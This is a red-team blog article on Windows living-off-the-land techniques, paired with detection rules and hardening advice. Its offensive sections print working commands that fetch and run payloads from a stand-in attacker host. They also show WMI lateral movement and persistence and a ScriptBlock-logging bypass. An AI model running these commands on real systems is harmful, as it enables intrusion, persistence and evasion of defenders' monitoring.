Back to Blog
Red Teaming

Living off the Land (LotL): Advanced Techniques for Stealthy Post-Exploitation

OffSec Research Team
10 June 2026 • 09:00 AM13 min
Living off the Land (LotL): Advanced Techniques for Stealthy Post-Exploitation
TL;DR — Living off the Land means using legitimately signed, pre-installed Windows binaries (LOLBins), scripts, and frameworks to achieve attacker objectives without introducing foreign executables. Because these tools are trusted by the OS, application-control lists, and many security products, LotL activity blends into normal administrative noise. This article catalogs the most operationally significant LOLBins across code execution, download, lateral movement, discovery, and persistence — maps each to its detection telemetry, explains why blanket blocking is impractical, and presents the detection paradigm shift that actually works: contextual behaviour profiling rather than binary allowlisting.

Why Living off the Land Works

The fundamental asymmetry of LotL is trust. Windows ships hundreds of powerful, Microsoft-signed utilities that administrators use daily. Application control policies (AppLocker, WDAC) typically allow anything signed by Microsoft. Network monitoring tools rarely baseline the external connectivity of certutil.exe or bitsadmin.exe. Process telemetry logs regsvr32.exe executions but rarely analyzes whether its argument is a legitimate registration or a remote scriptlet fetch.

LotL exploits this asymmetry: the attacker's actions are performed by tools that the environment trusts, making detection a matter of contextual anomaly detection rather than simple allowlist checking.

diagram — rendering…
flowchart LR
    A["Attacker objective"] --> B{"Introduce custom binary?"}
    B -->|Yes — Foreign PE| C["AV scan, AppLocker block, EDR alert on unknown file"]
    B -->|No — Use LOLBin| D["Trusted, signed, pre-installed — passes AV, AppLocker"]
    D --> E["Execute payload / lateral move / persist"]
    C -->|Detection high| F["Mission compromised"]
    D -->|Detection lower| G["Objective achieved"]
    style C fill:#2a0c14,stroke:#ef233c,color:#fee2e2
    style D fill:#0c2a22,stroke:#21d48e,color:#d1fae5

The MITRE ATT&CK framework catalogues LotL activity under multiple techniques: T1218 (System Binary Proxy Execution), T1059 (Command and Scripting Interpreter), T1053 (Scheduled Task/Job), and T1547 (Boot or Logon Autostart Execution). Understanding the full category is essential for both offensive operators building playbooks and defenders building detection logic.

Category 1 — Code Execution LOLBins

mshta.exe — HTML Application Host

mshta.exe executes HTA (HTML Application) files, which are HTML documents that run in a scripting host with access to the full Windows Scripting Runtime. HTA files can load COM objects, run arbitrary commands, and access the filesystem.

shell
# Remote HTA executionmshta.exe http://attacker.tld/payload.hta # Inline VBScript execution without filemshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd /c whoami > C:\Temp\out.txt""") # JScript variantmshta.exe javascript:eval("var x=new ActiveXObject('WScript.Shell');x.Run('calc');close()")

The HTTP request is made by a Microsoft-signed binary. Many network egress policies allow mshta.exe traffic because it is not associated with suspicious applications by default.

Detection signal: mshta.exe spawned by a non-standard parent process (e.g., winword.exe, excel.exe, powerpnt.exe) is a very high-confidence phishing follow-on indicator.

regsvr32.exe — COM Registration (Squiblydoo)

regsvr32.exe registers COM server DLLs. The /s /n /u /i: argument chain can reference a remote .sct (scriptlet) XML file served over HTTP or HTTPS:

shell
regsvr32.exe /s /n /u /i:http://attacker.tld/payload.sct scrobj.dll

The traffic comes from regsvr32.exe which is signed, common, and often passes proxy/firewall scrutiny. The .sct file contains JScript/VBScript that executes with the privileges of the calling user.

Advanced variant — COM hijacking via regsvr32 in a writable path:

shell
# Write a malicious COM server DLL to a temp path, register itcopy payload.dll C:\Users\user\AppData\Local\Temp\legit.dllregsvr32.exe /s C:\Users\user\AppData\Local\Temp\legit.dll

certutil.exe — Certificate Utility

certutil.exe was designed for certificate management but has been weaponised for download, base64 decode, and format conversion:

shell
# Download a file (creates a cache entry — leaves artifact)certutil.exe -urlcache -split -f http://attacker.tld/payload.exe C:\Temp\payload.exe # Base64 decode a staged payloadcertutil.exe -decode encoded_payload.txt decoded_payload.exe # Encode a binary to avoid content inspection (then decode at destination)certutil.exe -encode payload.exe payload_encoded.txt

Detection signature: The combination of -urlcache + external URL + non-admin context is a near-universal IoC. Microsoft has added Defender signatures for common certutil.exe download patterns; the technique is still used but requires obfuscation of the argument string.

wmic.exe — Windows Management Instrumentation Command Line

wmic.exe provides WMI management access, including remote process execution:

shell
# Remote process creation via WMIwmic.exe /node:192.168.1.50 /user:CORP\admin /password:P@ssw0rd process call create "cmd.exe /c payload.exe" # Local process creationwmic.exe process call create "cmd.exe /c calc" # XSL transform to execute code (T1220)wmic.exe os get /format:"http://attacker.tld/style.xsl"

The XSL transform technique (/format:http://...) executes JScript/VBScript inside an XSL file — a rarely-blocked network path from a highly-trusted binary.

rundll32.exe — DLL Execution

rundll32.exe calls an exported function from a DLL. Abused to run code from UNC paths or local writable directories:

shell
# Execute from UNC share (SMB relay + code execution)rundll32.exe \\attacker.tld\share\payload.dll,EntryPoint # JavaScript execution via mshtml DLLrundll32.exe javascript:"\..\mshtml.dll",RunHTMLApplication "javascript:alert(1)" # Registered OCX/DLL executionrundll32.exe C:\Windows\System32\shell32.dll,ShellExec_RunDLL calc.exe

InstallUtil.exe — .NET Installer Framework

Executes the [RunInstaller(true)] decorated method of a .NET class without going through normal EXE execution:

shell
# Execute a malicious C# class masquerading as an installerInstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.exe

The payload EXE can contain no actual Main() method — only the installer class. This bypasses AppLocker rules that block EXE execution if only the path/signature checks pass for InstallUtil.exe itself.

Microsoft.Workflow.Compiler.exe — XAML Workflow Compiler

A rarely-whitelisted bypass path:

shell
# Compile and execute XAML workflow containing C# codeMicrosoft.Workflow.Compiler.exe payload.xoml /out:C:\Temp\out.dll

Because this binary is in System32 or .NET Framework paths and is Microsoft-signed, it passes many AppLocker configurations.

Category 2 — File Download and Staging LOLBins

LOLBinTechniqueKey Artifact Left
certutil.exe-urlcache -split -f URL destCache entry in %APPDATA%\Microsoft\CryptnetUrlCache
bitsadmin.exe/transfer job /download /priority high URL destBITS job log entry
desktopimgdownldr.exe--lockscreenurl URL --img destRegistry LockScreen policy key
esentutl.exe/y source /vss /d dest (VSS copy)VSS snapshot dependency
PowerShell(New-Object Net.WebClient).DownloadFile(URL, dest)PowerShell transcript / Module log
curl.exe (Windows 10+)curl.exe -o dest URLStandard web traffic — minimal artifact

curl.exe ships with Windows 10 1803+ and generates minimal artifact beyond the HTTP request log, making it increasingly preferred over certutil.exe.

Category 3 — Lateral Movement via LOLBins

Remote service creation:

shell
# No foreign tools required — uses built-in sc.exesc.exe \\target create LegitSvc binPath= "cmd.exe /c payload.bat"sc.exe \\target start LegitSvcsc.exe \\target delete LegitSvc

WMI remote process creation:

shell
wmic.exe /node:target /user:DOMAIN\admin /password:pass process call create "payload.exe"

MMC20.Application lateral movement (T1021.006):

powershell
# MMC DCOM lateral movement — legitimate RPC port$com = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application", "target"))$com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c payload.exe", "7")

PsExec equivalent via built-in tools (PAExec-free):

powershell
# Copy to admin share, create service, start, clean upCopy-Item payload.exe \\target\ADMIN$\sc.exe \\target create svc1 binPath= "%SystemRoot%\payload.exe"sc.exe \\target start svc1

Category 4 — Persistence via LOLBins

Persistence MechanismLOLBin / MethodMITRE ATT&CK
Scheduled taskschtasks.exe /createT1053.005
Run keyreg.exe add HKCU\...\RunT1547.001
Service creationsc.exe createT1543.003
WMI subscriptionPowerShell + __EventFilterT1546.003
BITS jobbitsadmin.exe /create /ResumeT1197

WMI persistent event subscription (fileless, survives reboots):

powershell
# Create a WMI subscription that runs on every login$FilterArgs = @{    Name        = 'WinUpdate';    EventNamespace = 'root\CimV2';    QueryLanguage  = 'WQL';    Query       = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'"}$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs $ConsumerArgs = @{    Name = 'WinUpdateConsumer';    CommandLineTemplate = 'cmd.exe /c payload.bat'}$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs # Bind filter to consumerSet-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{    Filter = $filter; Consumer = $consumer}

This persistence mechanism leaves no files in conventional autostart locations. It survives reboots, does not create a new service, and does not modify the Run key. Detection requires monitoring WMI-specific event logs.

Category 5 — Discovery and Enumeration

All of the following are built-in Windows utilities that reveal detailed environment information without requiring any foreign tools:

powershell
# Identity and privilegeswhoami /allnet user %USERNAME% /domain # Network topologyipconfig /allarp -aroute printnetstat -anonslookup -type=any _ldap._tcp.dc._msdcs.DOMAIN # Domain and forestnet group "Domain Admins" /domainnet group "Enterprise Admins" /domainnltest /domain_trusts /all_trusts([adsisearcher]"(objectCategory=computer)").FindAll() # Installed software and serviceswmic product get name,versionwmic service get name,startname,pathnamesc.exe query type= all state= all # Security softwarewmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productStatesc.exe query WinDefendnetsh advfirewall show allprofiles # Active sessionsqwinsta  # Terminal server sessionsnet sessions  # Active SMB sessions

Detection Framework: Context Is Everything

diagram — rendering…
flowchart TD
    A["LotL Detection Philosophy"] --> B["Binary question: Is this tool allowed?<br/>→ WRONG question — all these tools ARE allowed"]
    A --> C["Context question: Is this tool being used<br/>in an expected context?<br/>→ RIGHT question"]
    C --> D["Parent process anomaly<br/>(Office → mshta, explorer → wmic /format:http)"]
    C --> E["Argument pattern anomaly<br/>(certutil -urlcache in non-PKI admin context)"]
    C --> F["Network destination anomaly<br/>(certutil to external IP at odd hours)"]
    C --> G["Behavioral sequence anomaly<br/>(download → decode → execute in < 60s)"]
    style B fill:#2a0c14,stroke:#ef233c,color:#fee2e2
    style C fill:#0c2a22,stroke:#21d48e,color:#d1fae5

Specific detection rules by LOLBin:

  • `mshta.exe`: Alert on any execution where the parent process is an Office application, browser, PDF reader, or other user-facing application. Alert on arguments containing http://, vbscript:, or javascript:.
  • `certutil.exe`: Alert on -urlcache combined with an external IP or hostname. The legitimate use (fetching CRL endpoints) is exclusively to Microsoft/CA infrastructure. Any other HTTP destination is suspicious.
  • `regsvr32.exe`: Alert on /i:http — no legitimate regsvr32 use requires downloading a scriptlet from a web server in most enterprise environments.
  • `wmic.exe`: Alert on /format:http — this is the XSL injection path. Also alert on remote /node: usage by non-administrative service accounts.
  • WMI subscriptions: Enable Microsoft-Windows-WMI-Activity/Operational log and alert on the creation triple: __EventFilter + __EventConsumer + __FilterToConsumerBinding within the same session. This combination outside a known software deployment tool is universally suspicious.

Defensive Hardening Checklist

  • [ ] Remove PowerShell v2: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
  • [ ] Enable PowerShell ScriptBlock Logging (Event ID 4104) via GPO
  • [ ] Enable PowerShell Module Logging (Event ID 4103) via GPO
  • [ ] Deploy PowerShell Constrained Language Mode via AppLocker/WDAC
  • [ ] Add AppLocker deny rules for mshta.exe, regsvr32.exe /i:http, certutil.exe -urlcache with external URLs
  • [ ] Enable WMI-Activity/Operational log and forward to SIEM
  • [ ] Block outbound HTTP/HTTPS from wmic.exe, certutil.exe, bitsadmin.exe at perimeter proxy
  • [ ] Enable WDAC with HVCI on high-value servers

Advanced LotL: Fileless Execution and Memory-Only Persistence

The most sophisticated LotL operations combine multiple built-in capabilities to achieve completely fileless execution — no PE written to disk, no script file created:

PowerShell Download Cradle Variants

powershell
# Classic — heavily flaggedIEX (New-Object Net.WebClient).DownloadString("http://attacker/payload.ps1") # Reflection-based bypass of ScriptBlock logging$a = [Ref].Assembly.GetType("System.Management.Automation.Utils")$b = $a.GetField("cachedGroupPolicySettings","NonPublic,Static")$b.SetValue($null, [Hashtable]::new()) # TLS 1.2 forced — avoids legacy protocol inspection[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12$wc = New-Object System.Net.WebClient$wc.Headers.Add("User-Agent", "Mozilla/5.0 (compatible)")IEX ($wc.DownloadString("https://cdn.legitimate-service.com/update.ps1"))

Scheduled Task with Encoded PowerShell (No File)

shell
schtasks /create /tn "MicrosoftEdgeUpdateTaskMachine" /tr "powershell.exe -NonI -W Hidden -Enc JAB...=" /sc ONLOGON /ru SYSTEM

The Base64-encoded command block contains the entire payload. No .ps1 file touches disk. The scheduled task entry in the XML task store is the only artefact.

Registry-Based Payload Storage

Store shellcode or script in the registry (binary or REG_SZ), read it at execution time:

powershell
# Store payload in registry$payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes("payload.ps1"))Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Themes" -Name "DefaultTheme" -Value $payload # Execute from registry (scheduled task, Run key, or WMI)$p = Get-ItemPropertyValue "HKCU:\...\Themes" -Name "DefaultTheme"IEX [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($p))

Building a LotL Detection Programme

A mature LotL detection programme works at three levels simultaneously:

Level 1 — Signature detection (lowest value, highest volume): Deploy YARA rules and EDR signatures for the known-bad argument patterns: certutil -urlcache, regsvr32 /i:http, mshta http:, wmic os get /format:http. These are well-known and detected by most EDR platforms, but attackers obfuscate them.

Level 2 — Heuristic / contextual detection (medium value): Build process tree analysis that flags anomalous parent-child pairs:

  • winword.exe → cmd.exe or excel.exe → powershell.exe
  • mshta.exe with any external network connection
  • regsvr32.exe with arguments containing http/https
  • powershell.exe -EncodedCommand launched by a non-administrative user

Level 3 — Behavioural baseline deviation (highest value, most durable): Build per-host profiles of which LOLBins are used, by whom, with what arguments, at what times. Alert on deviations from the baseline. A host that has never used certutil.exe for three years suddenly using it with an external URL is a high-fidelity signal that survives all obfuscation.

LotL and EDR Response: A Tactical Summary

Modern EDR products have invested heavily in LotL detection. Understanding the current state helps red teams and blue teams calibrate:

  • CrowdStrike Falcon: Strong parent-child process rule engine; blocks most Office → cmd → mshta chains automatically
  • SentinelOne: Deep script inspection catches many download cradle variants; behavioural AI flags unusual LOLBin sequences
  • Microsoft Defender for Endpoint: Strong coverage of documented LOLBin abuse; weaker on novel combinations
  • Carbon Black: Excellent process tree visualization; detection quality depends heavily on alert tuning

The implication for red teams: LOLBin-only techniques that were reliable in 2019 often trigger immediate EDR alerts in 2024. Current campaigns must combine LotL with additional evasion (AMSI bypass, obfuscated arguments, timing delays) to achieve reliable stealth against mature EDR deployments.

LOLBAS Project and Community Resources

The LOLBAS Project (Living Off the Land Binaries And Scripts) maintains a continuously updated database of Windows binaries, scripts, and libraries that can be used for malicious purposes. Each entry documents:

  • Execute: Direct code execution capability
  • Download: File retrieval capability
  • Upload: Data exfiltration capability
  • Compile: Code compilation capability
  • AWL Bypass: Application whitelisting bypass
  • AV Bypass: Antivirus signature evasion

As of 2024, the project catalogs over 200 LOLBins with their respective abuse techniques, detection notes, and references. Red teams use this as an authoritative reference for technique selection; blue teams use it to build comprehensive detection coverage.

Complementary resources:

  • GTFOBins (Linux equivalent): Unix binaries with similar misuse potential
  • MITRE ATT&CK T1218 (System Binary Proxy Execution): Formal ATT&CK mapping
  • LOLDRIVERS: Vulnerable driver catalogue for BYOVD techniques

Conclusion

Living off the Land is the offensive paradigm that most directly challenges the traditional "allowlist known-good" detection philosophy. When the tools themselves are inherently trusted, trust-based detection fails. The paradigm shift required of defenders is to move from "did a trusted binary run?" to "did a trusted binary run in a context consistent with its legitimate purpose?" That context — parent process lineage, argument patterns, network destinations, execution timing, and behavioral sequences — is the signal that LotL activity cannot fully suppress, because the actions must ultimately align with an attacker objective that departs from the binary's designed use case. Defenders who build detection logic around contextual anomaly rather than binary identity are well-positioned to detect LotL activity regardless of which specific tool an adversary chooses.

As the LOLBAS catalog continues to grow and red team operators discover new abuse pathways for existing system tools, the fundamental lesson remains: any tool capable of legitimate administrative work is also capable of malicious work. The decisive factor is always context, intent, and the surrounding telemetry that reveals the true purpose of the execution.